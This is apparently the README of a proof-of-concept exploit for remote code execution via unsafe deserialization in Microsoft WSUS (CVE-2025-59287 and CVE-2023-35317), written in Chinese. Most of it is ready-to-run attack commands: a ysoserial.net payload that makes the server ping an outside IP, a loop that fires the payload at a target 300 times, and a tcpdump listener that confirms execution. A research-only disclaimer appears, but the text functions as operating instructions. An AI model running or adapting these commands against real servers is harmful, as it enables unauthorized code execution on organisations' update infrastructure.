CVE-2025-59287 / CVE-2023-35317 PoC

在 CVE-2025-59287 内部：WSUS 中的 SoapFormatter RCE：https://shellcode.blog/wsus-cve-2025-59287-investigation/

本软件纯粹出于学术研究和开发有效防御技术的目的而创建，除非明确授权，否则不得用于攻击系统。项目维护者不对软件的滥用负责。请负责任地使用。

用法

必需标志：

• --target-url – 目标 WSUS 服务器基础 URL，例如 http://WIN-246JC0TE3BB.vuln.local:8530
• --cve – 可选 CVE-2023-35317 或 CVE-2025-59287

可选标志：

• --dns-name – 用于 SOAP 请求的客户端 DNS 名称（默认：bugcrowd.local）
• --random – 给 --dns-name 添加随机子域前缀，使每次运行显示为新客户端
• --payload – 自定义 base64 编码的 ysoserial 负载；如果省略，则使用所选 --cve 的内置负载
• --debug – 启用详细调试日志（[DEBUG] 行）

CVE-2025-59287

1. python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2025-59287 --random

手动触发 – CVE-2023-35317

1. （可选）如果你不想使用内置负载（或依赖内置负载），可使用 Ysoserial.Net 生成负载。
2. 运行： python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --dns-name bugcrowd.local --cve CVE-2023-35317 --random
3. 打开 WSUS 控制台

自动触发 – CVE-2023-35317

1. ./ysoserial.exe -g RolePrincipal -f BinaryFormatter -c 'ping 18.118.100.100' -o base64（或依赖 --cve CVE-2023-35317 的内置负载）
2. for i in `seq 1 300`; do sleep 1; python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2023-35317 --random ;done
3. 等待 1-3 分钟，它将出现在服务进程下。
4. 监控 ICMP 连接：sudo tcpdump -l -n -i any icmp | while read line; do echo "$line"; echo -ne '\a'; done